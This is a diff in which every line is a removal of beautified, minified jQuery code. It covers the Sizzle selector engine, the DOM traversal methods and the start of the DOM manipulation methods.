- return arguments.length > 0 ? this.on(e, A0, b, c) : this.trigger(e)
- },
- g.attrFn && (g.attrFn[e] = !0),
- a3.test(e) && (g.event.fixHooks[e] = g.event.keyHooks),
- Z2.test(e) && (g.event.fixHooks[e] = g.event.mouseHooks)
- }),
- function() {
- var p = "id",
- B = "[object Array]";
- function G(b, c, d, e, f, h) {
- for (var i = 0, j = e.length; i < j; i++) {
- var k = e[i];
- if (k) {
- var l = !1;
- k = k[b];
- while (k) {
- if (k[T] === d) {
- l = e[k.sizset];
- break
- }
- if (k.nodeType === 1) {
- h || (k[T] = d, k.sizset = i);
- if (typeof c != E) {
- if (k === c) {
- l = !0;
- break
- }
- } else if (y.filter(c, [k]).length > 0) {
- l = k;
- break
- }
- }
- k = k[b]
- }
- e[i] = l
- }
- }
- }
- function I(b, c, d, e, f, h) {
- for (var i = 0, j = e.length; i < j; i++) {
- var k = e[i];
- if (k) {
- var l = !1;
- k = k[b];
- while (k) {
- if (k[T] === d) {
- l = e[k.sizset];
- break
- }
- k.nodeType === 1 && !h && (k[T] = d, k.sizset = i);
- if (k.nodeName.toLowerCase() === c) {
- l = k;
- break
- }
- k = k[b]
- }
- e[i] = l
- }
- }
- }
- var A = /((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,
- T = "sizcache" + (Math.random() + "").replace(N, ""),
- W = 0,
- Y = Object.prototype.toString,
- J = !1,
- z = !0,
- V = /\\/g,
- D = /\r\n/g,
- K = /\W/; [0, 0].sort(function() {
- z = !1;
- return 0
- });
- var y = function(b, c, d, e) {
- d = d || [],
- c = c || x;
- var f = c;
- if (c.nodeType !== 1 && c.nodeType !== 9)
- return [];
- if (!b || typeof b != E)
- return d;
- var h,
- i,
- j,
- k,
- l,
- m,
- n,
- q,
- t = !0,
- r = y.isXML(c),
- o = [],
- w = b;
- do {
- A.exec(""),
- h = A.exec(w);
- if (h) {
- w = h[3],
- o.push(h[1]);
- if (h[2]) {
- k = h[3];
- break
- }
- }
- }
- while (h);
- if (o.length > 1 && o0.exec(b))
- if (o.length === 2 && u.relative[o[0]])
- i = r0(o[0] + o[1], c, e);
- else {
- i = u.relative[o[0]] ? [c] : y(o.shift(), c);
- while (o.length)
- b = o.shift(),
- u.relative[b] && (b += o.shift()),
- i = r0(b, i, e)
- } else { ! e && o.length > 1 && c.nodeType === 9 && !r && u.match.ID.test(o[0]) && !u.match.ID.test(o[o.length - 1]) && (l = y.find(o.shift(), c, r), c = l.expr ? y.filter(l.expr, l.set)[0] : l.set[0]);
- if (c) {
- l = e ? {
- expr: o.pop(),
- set: P(e)
- }: y.find(o.pop(), o.length === 1 && (o[0] === "~" || o[0] === "+") && c.parentNode ? c.parentNode: c, r),
- i = l.expr ? y.filter(l.expr, l.set) : l.set,
- o.length > 0 ? j = P(i) : t = !1;
- while (o.length)
- m = o.pop(),
- n = m,
- u.relative[m] ? n = o.pop() : m = "",
- n == A0 && (n = c),
- u.relative[m](j, n, r)
- } else
- j = o = []
- }
- j || (j = i),
- j || y.error(m || b);
- if (Y.call(j) === B)
- if (!t)
- d.push.apply(d, j);
- else if (c && c.nodeType === 1)
- for (q = 0; j[q] != A0; q++)
- j[q] && (j[q] === !0 || j[q].nodeType === 1 && y.contains(c, j[q])) && d.push(i[q]);
- else
- for (q = 0; j[q] != A0; q++)
- j[q] && j[q].nodeType === 1 && d.push(i[q]);
- else
- P(j, d);
- k && (y(k, f, d, e), y.uniqueSort(d));
- return d
- };
- y.uniqueSort = function(b) {
- if (l0) {
- J = z,
- b.sort(l0);
- if (J)
- for (var c = 1; c < b.length; c++)
- b[c] === b[c - 1] && b.splice(c--, 1)
- }
- return b
- },
- y.matches = function(b, c) {
- return y(b, A0, A0, c)
- },
- y.matchesSelector = function(b, c) {
- return y(c, A0, A0, [b]).length > 0
- },
- y.find = function(b, c, d) {
- var e,
- f,
- h,
- i,
- j,
- k;
- if (!b)
- return [];
- for (f = 0, h = u.order.length; f < h; f++) {
- j = u.order[f];
- if (i = u.leftMatch[j].exec(b)) {
- k = i[1],
- i.splice(1, 1);
- if (k.substr(k.length - 1) !== "\\") {
- i[1] = (i[1] || "").replace(V, ""),
- e = u.find[j](i, c, d);
- if (e != A0) {
- b = b.replace(u.match[j], "");
- break
- }
- }
- }
- }
- e || (e = typeof c.getElementsByTagName != d0 ? c.getElementsByTagName(M) : []);
- return {
- set: e,
- expr: b
- }
- },
- y.filter = function(b, c, d, e) {
- var f,
- h,
- i,
- j,
- k,
- l,
- m,
- n,
- q,
- t = b,
- r = [],
- o = c,
- w = c && c[0] && y.isXML(c[0]);
- while (b && c.length) {
- for (i in u.filter)
- if ((f = u.leftMatch[i].exec(b)) != A0 && f[2]) {
- l = u.filter[i],
- m = f[1],
- h = !1,
- f.splice(1, 1);
- if (m.substr(m.length - 1) === "\\")
- continue;
- o === r && (r = []);
- if (u.preFilter[i]) {
- f = u.preFilter[i](f, o, d, r, e, w);
- if (!f)
- h = j = !0;
- else if (f === !0)
- continue
- }
- if (f)
- for (n = 0; (k = o[n]) != A0; n++)
- k && (j = l(k, f, n, o), q = e^j, d && j != A0 ? q ? h = !0: o[n] = !1: q && (r.push(k), h = !0));
- if (j !== v) {
- d || (o = r),
- b = b.replace(u.match[i], "");
- if (!h)
- return [];
- break
- }
- }
- if (b === t)
- if (h == A0)
- y.error(b);
- else
- break;
- t = b
- }
- return o
- },
- y.error = function(b) {
- throw new Error("Syntax error, unrecognized expression: " + b)
- };
- var a0 = y.getText = function(b) {
- var c,
- d,
- e = b.nodeType,
- f = "";
- if (e) {
- if (e === 1 || e === 9 || e === 11) {
- if (typeof b.textContent == E)
- return b.textContent;
- if (typeof b.innerText == E)
- return b.innerText.replace(D, "");
- for (b = b.firstChild; b; b = b.nextSibling)
- f += a0(b)
- } else if (e === 3 || e === 4)
- return b.nodeValue
- } else
- for (c = 0; d = b[c]; c++)
- d.nodeType !== 8 && (f += a0(d));
- return f
- },
- u = y.selectors = {
- order: ["ID", "NAME", "TAG"],
- match: {
- ID: /#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,
- CLASS: /\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,
- NAME: /\[name=['"]*((?:[\w\u00c0-\uFFFF\-]|\\.)+)['"]*\]/,
- ATTR: /\[\s*((?:[\w\u00c0-\uFFFF\-]|\\.)+)\s*(?:(\S?=)\s*(?:(['"])(.*?)\3|(#?(?:[\w\u00c0-\uFFFF\-]|\\.)*)|)|)\s*\]/,
- TAG: /^((?:[\w\u00c0-\uFFFF\*\-]|\\.)+)/,
- CHILD: /:(only|nth|last|first)-child(?:\(\s*(even|odd|(?:[+\-]?\d+|(?:[+\-]?\d*)?n\s*(?:[+\-]\s*\d+)?))\s*\))?/,
- POS: /:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^\-]|$)/,
- PSEUDO: /:((?:[\w\u00c0-\uFFFF\-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/
- },
- leftMatch: {},
- attrMap: {
- "class": i0,
- "for": "htmlFor"
- },
- attrHandle: {
- href: function(b) {
- return b.getAttribute(Q0)
- },
- type: function(b) {
- return b.getAttribute(A1)
- }
- },
- relative: {
- "+": function(b, c) {
- var d = typeof c == E,
- e = d && !K.test(c),
- f = d && !e;
- e && (c = c.toLowerCase());
- for (var h = 0, i = b.length, j; h < i; h++)
- if (j = b[h]) {
- while ((j = j.previousSibling) && j.nodeType !== 1);
- b[h] = f || j && j.nodeName.toLowerCase() === c ? j || !1: j === c
- }
- f && y.filter(c, b, !0)
- },
- ">": function(b, c) {
- var d,
- e = typeof c == E,
- f = 0,
- h = b.length;
- if (e && !K.test(c)) {
- c = c.toLowerCase();
- for (; f < h; f++) {
- d = b[f];
- if (d) {
- var i = d.parentNode;
- b[f] = i.nodeName.toLowerCase() === c ? i: !1
- }
- }
- } else {
- for (; f < h; f++)
- d = b[f],
- d && (b[f] = e ? d.parentNode: d.parentNode === c);
- e && y.filter(c, b, !0)
- }
- },
- "": function(b, c, d) {
- var e,
- f = W++,
- h = G;
- typeof c == E && !K.test(c) && (c = c.toLowerCase(), e = c, h = I),
- h(c0, c, f, b, e, d)
- },
- "~": function(b, c, d) {
- var e,
- f = W++,
- h = G;
- typeof c == E && !K.test(c) && (c = c.toLowerCase(), e = c, h = I),
- h(k1, c, f, b, e, d)
- }
- },
- find: {
- ID: function(b, c, d) {
- if (typeof c.getElementById != d0 && !d) {
- var e = c.getElementById(b[1]);
- return e && e.parentNode ? [e] : []
- }
- },
- NAME: function(b, c) {
- if (typeof c.getElementsByName != d0) {
- var d = [],
- e = c.getElementsByName(b[1]);
- for (var f = 0, h = e.length; f < h; f++)
- e[f].getAttribute("name") === b[1] && d.push(e[f]);
- return d.length === 0 ? A0: d
- }
- },
- TAG: function(b, c) {
- if (typeof c.getElementsByTagName != d0)
- return c.getElementsByTagName(b[1])
- }
- },
- preFilter: {
- CLASS: function(b, c, d, e, f, h) {
- b = C + b[1].replace(V, "") + C;
- if (h)
- return b;
- for (var i = 0, j; (j = c[i]) != A0; i++)
- j && (f^ (j.className && (C + j.className + C).replace(/[\t\n\r]/g, C).indexOf(b) >= 0) ? d || e.push(j) : d && (c[i] = !1));
- return ! 1
- },
- ID: function(b) {
- return b[1].replace(V, "")
- },
- TAG: function(b, c) {
- return b[1].replace(V, "").toLowerCase()
- },
- CHILD: function(b) {
- if (b[1] === "nth") {
- b[2] || y.error(b[0]),
- b[2] = b[2].replace(/^\+|\s*/g, "");
- var c = /(-?)(\d*)(?:n([+\-]?\d*))?/.exec(b[2] === "even" && "2n" || b[2] === "odd" && "2n+1" || !/\D/.test(b[2]) && "0n+" + b[2] || b[2]);
- b[2] = c[1] + (c[2] || 1) - 0,
- b[3] = c[3] - 0
- } else
- b[2] && y.error(b[0]);
- b[0] = W++;
- return b
- },
- ATTR: function(b, c, d, e, f, h) {
- var i = b[1] = b[1].replace(V, ""); ! h && u.attrMap[i] && (b[1] = u.attrMap[i]),
- b[4] = (b[4] || b[5] || "").replace(V, ""),
- b[2] === "~=" && (b[4] = C + b[4] + C);
- return b
- },
- PSEUDO: function(b, c, d, e, f) {
- if (b[1] === "not")
- if ((A.exec(b[3]) || "").length > 1 || /^\w/.test(b[3]))
- b[3] = y(b[3], A0, A0, c);
- else {
- var h = y.filter(b[3], c, d, !0^f);
- d || e.push.apply(e, h);
- return ! 1
- } else if (u.match.POS.test(b[0]) || u.match.CHILD.test(b[0]))
- return ! 0;
- return b
- },
- POS: function(b) {
- b.unshift(!0);
- return b
- }
- },
- filters: {
- enabled: function(b) {
- return b.disabled === !1 && b.type !== w0
- },
- disabled: function(b) {
- return b.disabled === !0
- },
- checked: function(b) {
- return b.checked === !0
- },
- selected: function(b) {
- b.parentNode && b.parentNode.selectedIndex;
- return b.selected === !0
- },
- parent: function(b) {
- return !! b.firstChild
- },
- empty: function(b) {
- return ! b.firstChild
- },
- has: function(b, c, d) {
- return !! y(d[3], b).length
- },
- header: function(b) {
- return / h\d / i.test(b.nodeName)
- },
- text: function(b) {
- var c = b.getAttribute(A1),
- d = b.type;
- return b.nodeName.toLowerCase() === U && "text" === d && (c === d || c === A0)
- },
- radio: function(b) {
- return b.nodeName.toLowerCase() === U && X === b.type
- },
- checkbox: function(b) {
- return b.nodeName.toLowerCase() === U && I0 === b.type
- },
- file: function(b) {
- return b.nodeName.toLowerCase() === U && "file" === b.type
- },
- password: function(b) {
- return b.nodeName.toLowerCase() === U && "password" === b.type
- },
- submit: function(b) {
- var c = b.nodeName.toLowerCase();
- return (c === U || c === E0) && "submit" === b.type
- },
- image: function(b) {
- return b.nodeName.toLowerCase() === U && "image" === b.type
- },
- reset: function(b) {
- var c = b.nodeName.toLowerCase();
- return (c === U || c === E0) && "reset" === b.type
- },
- button: function(b) {
- var c = b.nodeName.toLowerCase();
- return c === U && E0 === b.type || c === E0
- },
- input: function(b) {
- return / input | select | textarea | button / i.test(b.nodeName)
- },
- focus: function(b) {
- return b === b.ownerDocument.activeElement
- }
- },
- setFilters: {
- first: function(b, c) {
- return c === 0
- },
- last: function(b, c, d, e) {
- return c === e.length - 1
- },
- even: function(b, c) {
- return c % 2 === 0
- },
- odd: function(b, c) {
- return c % 2 === 1
- },
- lt: function(b, c, d) {
- return c < d[3] - 0
- },
- gt: function(b, c, d) {
- return c > d[3] - 0
- },
- nth: function(b, c, d) {
- return d[3] - 0 === c
- },
- eq: function(b, c, d) {
- return d[3] - 0 === c
- }
- },
- filter: {
- PSEUDO: function(b, c, d, e) {
- var f = c[1],
- h = u.filters[f];
- if (h)
- return h(b, d, c, e);
- if (f === "contains")
- return (b.textContent || b.innerText || a0([b]) || "").indexOf(c[3]) >= 0;
- if (f === "not") {
- var i = c[3];
- for (var j = 0, k = i.length; j < k; j++)
- if (i[j] === b)
- return ! 1;
- return ! 0
- }
- y.error(f)
- },
- CHILD: function(b, c) {
- var d,
- e,
- f,
- h,
- i,
- j,
- k,
- l = c[1],
- m = b;
- switch (l) {
- case "only":
- case "first":
- while (m = m.previousSibling)
- if (m.nodeType === 1)
- return ! 1;
- if (l === "first")
- return ! 0;
- m = b;
- case "last":
- while (m = m.nextSibling)
- if (m.nodeType === 1)
- return ! 1;
- return ! 0;
- case "nth":
- d = c[2],
- e = c[3];
- if (d === 1 && e === 0)
- return ! 0;
- f = c[0],
- h = b.parentNode;
- if (h && (h[T] !== f || !b.nodeIndex)) {
- j = 0;
- for (m = h.firstChild; m; m = m.nextSibling)
- m.nodeType === 1 && (m.nodeIndex = ++j);
- h[T] = f
- }
- k = b.nodeIndex - e;
- return d === 0 ? k === 0: k % d === 0 && k / d >= 0
- }
- },
- ID: function(b, c) {
- return b.nodeType === 1 && b.getAttribute(p) === c
- },
- TAG: function(b, c) {
- return c === M && b.nodeType === 1 || !!b.nodeName && b.nodeName.toLowerCase() === c
- },
- CLASS: function(b, c) {
- return (C + (b.className || b.getAttribute("class")) + C).indexOf(c) > -1
- },
- ATTR: function(b, c) {
- var d = c[1],
- e = y.attr ? y.attr(b, d) : u.attrHandle[d] ? u.attrHandle[d](b) : b[d] != A0 ? b[d] : b.getAttribute(d),
- f = e + "",
- h = c[2],
- i = c[4];
- return e == A0 ? h === "!=": !h && y.attr ? e != A0: h === "=" ? f === i: h === "*=" ? f.indexOf(i) >= 0: h === "~=" ? (C + f + C).indexOf(i) >= 0: i ? h === "!=" ? f !== i: h === "^=" ? f.indexOf(i) === 0: h === "$=" ? f.substr(f.length - i.length) === i: h === "|=" ? f === i || f.substr(0, i.length + 1) === i + "-": !1: f && e !== !1
- },
- POS: function(b, c, d, e) {
- var f = c[2],
- h = u.setFilters[f];
- if (h)
- return h(b, d, c, e)
- }
- }
- },
- o0 = u.match.POS,
- p0 = function(b, c) {
- return "\\" + (c - 0 + 1)
- };
- for (var Q in u.match)
- u.match[Q] = new RegExp(u.match[Q].source + /(?![^\[]*\])(?![^\(]*\))/.source),
- u.leftMatch[Q] = new RegExp(/(^(?:.|\r|\n)*?)/.source + u.match[Q].source.replace(/\\(\d+)/g, p0));
- u.match.globalPOS = o0;
- var P = function(b, c) {
- b = Array.prototype.slice.call(b, 0);
- if (c) {
- c.push.apply(c, b);
- return c
- }
- return b
- };
- try {
- Array.prototype.slice.call(x.documentElement.childNodes, 0)[0].nodeType
- } catch(h) {
- P = function(b, c) {
- var d = 0,
- e = c || [];
- if (Y.call(b) === B)
- Array.prototype.push.apply(e, b);
- else if (typeof b.length == p1)
- for (var f = b.length; d < f; d++)
- e.push(b[d]);
- else
- for (; b[d]; d++)
- e.push(b[d]);
- return e
- }
- }
- var l0,
- R;
- x.documentElement.compareDocumentPosition ? l0 = function(b, c) {
- if (b === c) {
- J = !0;
- return 0
- }
- if (!b.compareDocumentPosition || !c.compareDocumentPosition)
- return b.compareDocumentPosition ? -1: 1;
- return b.compareDocumentPosition(c) & 4 ? -1: 1
- }: (l0 = function(b, c) {
- if (b === c) {
- J = !0;
- return 0
- }
- if (b.sourceIndex && c.sourceIndex)
- return b.sourceIndex - c.sourceIndex;
- var d,
- e,
- f = [],
- h = [],
- i = b.parentNode,
- j = c.parentNode,
- k = i;
- if (i === j)
- return R(b, c);
- if (!i)
- return - 1;
- if (!j)
- return 1;
- while (k)
- f.unshift(k),
- k = k.parentNode;
- k = j;
- while (k)
- h.unshift(k),
- k = k.parentNode;
- d = f.length,
- e = h.length;
- for (var l = 0; l < d && l < e; l++)
- if (f[l] !== h[l])
- return R(f[l], h[l]);
- return l === d ? R(b, h[l], -1) : R(f[l], c, 1)
- }, R = function(b, c, d) {
- if (b === c)
- return d;
- var e = b.nextSibling;
- while (e) {
- if (e === c)
- return - 1;
- e = e.nextSibling
- }
- return 1
- }),
- function() {
- var f = x.createElement(e0),
- h = j0 + (new Date).getTime(),
- i = x.documentElement;
- f.innerHTML = "<a name='" + h + "'/>",
- i.insertBefore(f, i.firstChild),
- x.getElementById(h) && (u.find.ID = function(b, c, d) {
- if (typeof c.getElementById != d0 && !d) {
- var e = c.getElementById(b[1]);
- return e ? e.id === b[1] || typeof e.getAttributeNode != d0 && e.getAttributeNode(p).nodeValue === b[1] ? [e] : v: []
- }
- }, u.filter.ID = function(b, c) {
- var d = typeof b.getAttributeNode != d0 && b.getAttributeNode(p);
- return b.nodeType === 1 && d && d.nodeValue === c
- }),
- i.removeChild(f),
- i = f = A0
- } (),
- function() {
- var h = x.createElement(e0);
- h.appendChild(x.createComment("")),
- h.getElementsByTagName(M).length > 0 && (u.find.TAG = function(b, c) {
- var d = c.getElementsByTagName(b[1]);
- if (b[1] === M) {
- var e = [];
- for (var f = 0; d[f]; f++)
- d[f].nodeType === 1 && e.push(d[f]);
- d = e
- }
- return d
- }),
- h.innerHTML = "<a href='#'></a>",
- h.firstChild && typeof h.firstChild.getAttribute != d0 && h.firstChild.getAttribute(Q0) !== "#" && (u.attrHandle.href = function(b) {
- return b.getAttribute(Q0, 2)
- }),
- h = A0
- } (),
- x.querySelectorAll && function() {
- var q = y,
- t = x.createElement(e0),
- r = "__sizzle__";
- t.innerHTML = "<p class='TEST'></p>";
- if (!t.querySelectorAll || t.querySelectorAll(".TEST").length !== 0) {
- y = function(c, d, e, f) {
- d = d || x;
- if (!f && !y.isXML(d)) {
- var h = /^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec(c);
- if (h && (d.nodeType === 1 || d.nodeType === 9)) {
- if (h[1])
- return P(d.getElementsByTagName(c), e);
- if (h[2] && u.find.CLASS && d.getElementsByClassName)
- return P(d.getElementsByClassName(h[2]), e)
- }
- if (d.nodeType === 9) {
- if (c === y0 && d.body)
- return P([d.body], e);
- if (h && h[3]) {
- var i = d.getElementById(h[3]);
- if (!i || !i.parentNode)
- return P([], e);
- if (i.id === h[3])
- return P([i], e)
- }
- try {
- return P(d.querySelectorAll(c), e)
- } catch(b) {}
- } else if (d.nodeType === 1 && d.nodeName.toLowerCase() !== S) {
- var j = d,
- k = d.getAttribute(p),
- l = k || r,
- m = d.parentNode,
- n = /^\s*[+~]/.test(c);
- k ? l = l.replace(/'/g, "\\$&") : d.setAttribute(p, l),
- n && m && (d = d.parentNode);
- try {
- if (!n || m)
- return P(d.querySelectorAll("[id='" + l + "'] " + c), e)
- } catch(b) {} finally {
- k || j.removeAttribute(p)
- }
- }
- }
- return q(c, d, e, f)
- };
- for (var o in q)
- y[o] = q[o];
- t = A0
- }
- } (),
- function() {
- var f = x.documentElement,
- h = f.matchesSelector || f.mozMatchesSelector || f.webkitMatchesSelector || f.msMatchesSelector;
- if (h) {
- var i = !h.call(x.createElement(e0), e0),
- j = !1;
- try {
- h.call(x.documentElement, "[test!='']:sizzle")
- } catch(b) {
- j = !0
- }
- y.matchesSelector = function(c, d) {
- d = d.replace(/\=\s*([^'"\]]*)\s*\]/g, "='$1']");
- if (!y.isXML(c))
- try {
- if (j || !u.match.PSEUDO.test(d) && !/!=/.test(d)) {
- var e = h.call(c, d);
- if (e || !i || c.document && c.document.nodeType !== 11)
- return e
- }
- } catch(b) {}
- return y(d, A0, A0, [c]).length > 0
- }
- }
- } (),
- function() {
- var e = x.createElement(e0);
- e.innerHTML = "<div class='test e'></div><div class='test'></div>";
- if ( !! e.getElementsByClassName && e.getElementsByClassName("e").length !== 0) {
- e.lastChild.className = "e";
- if (e.getElementsByClassName("e").length === 1)
- return;
- u.order.splice(1, 0, "CLASS"),
- u.find.CLASS = function(b, c, d) {
- if (typeof c.getElementsByClassName != d0 && !d)
- return c.getElementsByClassName(b[1])
- },
- e = A0
- }
- } (),
- x.documentElement.contains ? y.contains = function(b, c) {
- return b !== c && (b.contains ? b.contains(c) : !0)
- }: x.documentElement.compareDocumentPosition ? y.contains = function(b, c) {
- return !! (b.compareDocumentPosition(c) & 16)
- }: y.contains = function() {
- return ! 1
- },
- y.isXML = function(b) {
- var c = (b ? b.ownerDocument || b: 0).documentElement;
- return c ? c.nodeName !== "HTML": !1
- };
- var r0 = function(b, c, d) {
- var e,
- f = [],
- h = "",
- i = c.nodeType ? [c] : c;
- while (e = u.match.PSEUDO.exec(b))
- h += e[0],
- b = b.replace(u.match.PSEUDO, "");
- b = u.relative[b] ? b + M: b;
- for (var j = 0, k = i.length; j < k; j++)
- y(b, i[j], f, d);
- return y.filter(h, f)
- };
- y.attr = g.attr,
- y.selectors.attrMap = {},
- g.find = y,
- g.expr = y.selectors,
- g.expr[":"] = g.expr.filters,
- g.unique = y.uniqueSort,
- g.text = y.getText,
- g.isXMLDoc = y.isXML,
- g.contains = y.contains
- } ();
- var o3 = /Until$/,
- p3 = /^(?:parents|prevUntil|prevAll)/,
- m3 = /,/,
- n3 = /^.[^:#\[\.,]*$/,
- h3 = Array.prototype.slice,
- x2 = g.expr.match.globalPOS,
- g3 = {
- children: !0,
- contents: !0,
- next: !0,
- prev: !0
- };
- g.fn.extend({
- find: function(b) {
- var c = this,
- d,
- e;
- if (typeof b != E)
- return g(b).filter(function() {
- for (d = 0, e = c.length; d < e; d++)
- if (g.contains(c[d], this))
- return ! 0
- });
- var f = this.pushStack("", "find", b),
- h,
- i,
- j;
- for (d = 0, e = this.length; d < e; d++) {
- h = f.length,
- g.find(b, this[d], f);
- if (d > 0)
- for (i = h; i < f.length; i++)
- for (j = 0; j < h; j++)
- if (f[j] === f[i]) {
- f.splice(i--, 1);
- break
- }
- }
- return f
- },
- has: function(d) {
- var e = g(d);
- return this.filter(function() {
- for (var b = 0, c = e.length; b < c; b++)
- if (g.contains(this, e[b]))
- return ! 0
- })
- },
- not: function(b) {
- return this.pushStack(g2(this, b, !1), "not", b)
- },
- filter: function(b) {
- return this.pushStack(g2(this, b, !0), "filter", b)
- },
- is: function(b) {
- return !! b && (typeof b == E ? x2.test(b) ? g(b, this.context).index(this[0]) >= 0: g.filter(b, this).length > 0: this.filter(b).length > 0)
- },
- closest: function(b, c) {
- var d = [],
- e,
- f,
- h = this[0];
- if (g.isArray(b)) {
- var i = 1;
- while (h && h.ownerDocument && h !== c) {
- for (e = 0; e < b.length; e++)
- g(h).is(b[e]) && d.push({
- selector: b[e],
- elem: h,
- level: i
- });
- h = h.parentNode,
- i++
- }
- return d
- }
- var j = x2.test(b) || typeof b != E ? g(b, c || this.context) : 0;
- for (e = 0, f = this.length; e < f; e++) {
- h = this[e];
- while (h) {
- if (j ? j.index(h) > -1: g.find.matchesSelector(h, b)) {
- d.push(h);
- break
- }
- h = h.parentNode;
- if (!h || !h.ownerDocument || h === c || h.nodeType === 11)
- break
- }
- }
- d = d.length > 1 ? g.unique(d) : d;
- return this.pushStack(d, "closest", b)
- },
- index: function(b) {
- if (!b)
- return this[0] && this[0].parentNode ? this.prevAll().length: -1;
- if (typeof b == E)
- return g.inArray(this[0], g(b));
- return g.inArray(b.jquery ? b[0] : b, this)
- },
- add: function(b, c) {
- var d = typeof b == E ? g(b, c) : g.makeArray(b && b.nodeType ? [b] : b),
- e = g.merge(this.get(), d);
- return this.pushStack(n2(d[0]) || n2(e[0]) ? e: g.unique(e))
- },
- andSelf: function() {
- return this.add(this.prevObject)
- }
- }),
- g.each({
- parent: function(b) {
- var c = b.parentNode;
- return c && c.nodeType !== 11 ? c: A0
- },
- parents: function(b) {
- return g.dir(b, c0)
- },
- parentsUntil: function(b, c, d) {
- return g.dir(b, c0, d)
- },
- next: function(b) {
- return g.nth(b, 2, y1)
- },
- prev: function(b) {
- return g.nth(b, 2, k1)
- },
- nextAll: function(b) {
- return g.dir(b, y1)
- },
- prevAll: function(b) {
- return g.dir(b, k1)
- },
- nextUntil: function(b, c, d) {
- return g.dir(b, y1, d)
- },
- prevUntil: function(b, c, d) {
- return g.dir(b, k1, d)
- },
- siblings: function(b) {
- return g.sibling((b.parentNode || {}).firstChild, b)
- },
- children: function(b) {
- return g.sibling(b.firstChild)
- },
- contents: function(b) {
- return g.nodeName(b, "iframe") ? b.contentDocument || b.contentWindow.document: g.makeArray(b.childNodes)
- }
- }, function(e, f) {
- g.fn[e] = function(b, c) {
- var d = g.map(this, f, b);
- o3.test(e) || (c = b),
- c && typeof c == E && (d = g.filter(c, d)),
- d = this.length > 1 && !g3[e] ? g.unique(d) : d,
- (this.length > 1 || m3.test(c)) && p3.test(e) && (d = d.reverse());
- return this.pushStack(d, e, h3.call(arguments).join(","))
- }
- }),
- g.extend({
- filter: function(b, c, d) {
- d && (b = ":not(" + b + ")");
- return c.length === 1 ? g.find.matchesSelector(c[0], b) ? [c[0]] : [] : g.find.matches(b, c)
- },
- dir: function(b, c, d) {
- var e = [],
- f = b[c];
- while (f && f.nodeType !== 9 && (d === v || f.nodeType !== 1 || !g(f).is(d)))
- f.nodeType === 1 && e.push(f),
- f = f[c];
- return e
- },
- nth: function(b, c, d, e) {
- c = c || 1;
- var f = 0;
- for (; b; b = b[d])
- if (b.nodeType === 1 && ++f === c)
- break;
- return b
- },
- sibling: function(b, c) {
- var d = [];
- for (; b; b = b.nextSibling)
- b.nodeType === 1 && b !== c && d.push(b);
- return d
- }
- });
- var w2 = "abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",
- i3 = / jQuery\d+="(?:\d+|null)"/g,
- Q1 = /^\s+/,
- y2 = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,
- z2 = /<([\w:]+)/,
- $ = /<tbody/i,
- v3 = /<|&#?\w+;/,
- x3 = /<(?:script|style)/i,
- w3 = /<(?:script|object|embed|option|style)/i,
- C2 = new RegExp("<(?:" + w2 + ")[\\s/>]", "i"),
- B2 = /checked\s*(?:[^=]|=\s*.checked.)/i,
- D2 = /\/(java|ecma)script/i,
- u3 = /^\s*<!(?:\[CDATA\[|\-\-)/,
- f0 = {
- option: [1, "<select multiple='multiple'>", "</select>"],
- legend: [1, "<fieldset>", "</fieldset>"],
- thead: [1, "<table>", "</table>"],
- tr: [2, "<table><tbody>", "</tbody></table>"],
- td: [3, "<table><tbody><tr>", "</tr></tbody></table>"],
- col: [2, "<table><tbody></tbody><colgroup>", "</colgroup></table>"],
- area: [1, "<map>", "</map>"],
- _default: [0, "", ""]
- },
- S1 = h2(x);
- f0.optgroup = f0.option,
- f0.tbody = f0.tfoot = f0.colgroup = f0.caption = f0.thead,
- f0.th = f0.td,
- g.support.htmlSerialize || (f0._default = [1, "div<div>", "</div>"]),
- g.fn.extend({
- text: function(c) {
- return g.access(this, function(b) {
- return b === v ? g.text(this) : this.empty().append((this[0] && this[0].ownerDocument || x).createTextNode(b))
- }, A0, c, arguments.length)
- },
- wrapAll: function(c) {
- if (g.isFunction(c))
- return this.each(function(b) {
- g(this).wrapAll(c.call(this, b))
- });
- if (this[0]) {
- var d = g(c, this[0].ownerDocument).eq(0).clone(!0);
- this[0].parentNode && d.insertBefore(this[0]),
- d.map(function() {
- var b = this;
- while (b.firstChild && b.firstChild.nodeType === 1)
- b = b.firstChild;
- return b
- }).append(this)
- }
- return this
- },
- wrapInner: function(d) {
- if (g.isFunction(d))
- return this.each(function(b) {
- g(this).wrapInner(d.call(this, b))
- });
- return this.each(function() {
- var b = g(this),
- c = b.contents();
- c.length ? c.wrapAll(d) : b.append(d)
- })
- },
- wrap: function(c) {
- var d = g.isFunction(c);
- return this.each(function(b) {
- g(this).wrapAll(d ? c.call(this, b) : c)
- })
- },
- unwrap: function() {
- return this.parent().each(function() {
- g.nodeName(this, y0) || g(this).replaceWith(this.childNodes)
- }).end()
- },
- append: function() {
- return this.domManip(arguments, !0, function(b) {
- this.nodeType === 1 && this.appendChild(b)
- })
- },
- prepend: function() {
- return this.domManip(arguments, !0, function(b) {
- this.nodeType === 1 && this.insertBefore(b, this.firstChild)
- })
- },
- before: function() {
- if (this[0] && this[0].parentNode)
- return this.domManip(arguments, !1, function(b) {
- this.parentNode.insertBefore(b, this)
- });
- if (arguments.length) {
- var c = g.clean(arguments);
- c.push.apply(c, this.toArray());
- return this.pushStack(c, "before", arguments)
- }
- },
- after: function() {
- if (this[0] && this[0].parentNode)
- return this.domManip(arguments, !1, function(b) {
- this.parentNode.insertBefore(b, this.nextSibling)
- });
- if (arguments.length) {
- var c = this.pushStack(this, "after", arguments);
- c.push.apply(c, g.clean(arguments));
- return c
- }
- },
- remove: function(b, c) {
- for (var d = 0, e; (e = this[d]) != A0; d++)
- if (!b || g.filter(b, [e]).length) ! c && e.nodeType === 1 && (g.cleanData(e.getElementsByTagName(M)), g.cleanData([e])),
- e.parentNode && e.parentNode.removeChild(e);
- return this
- },
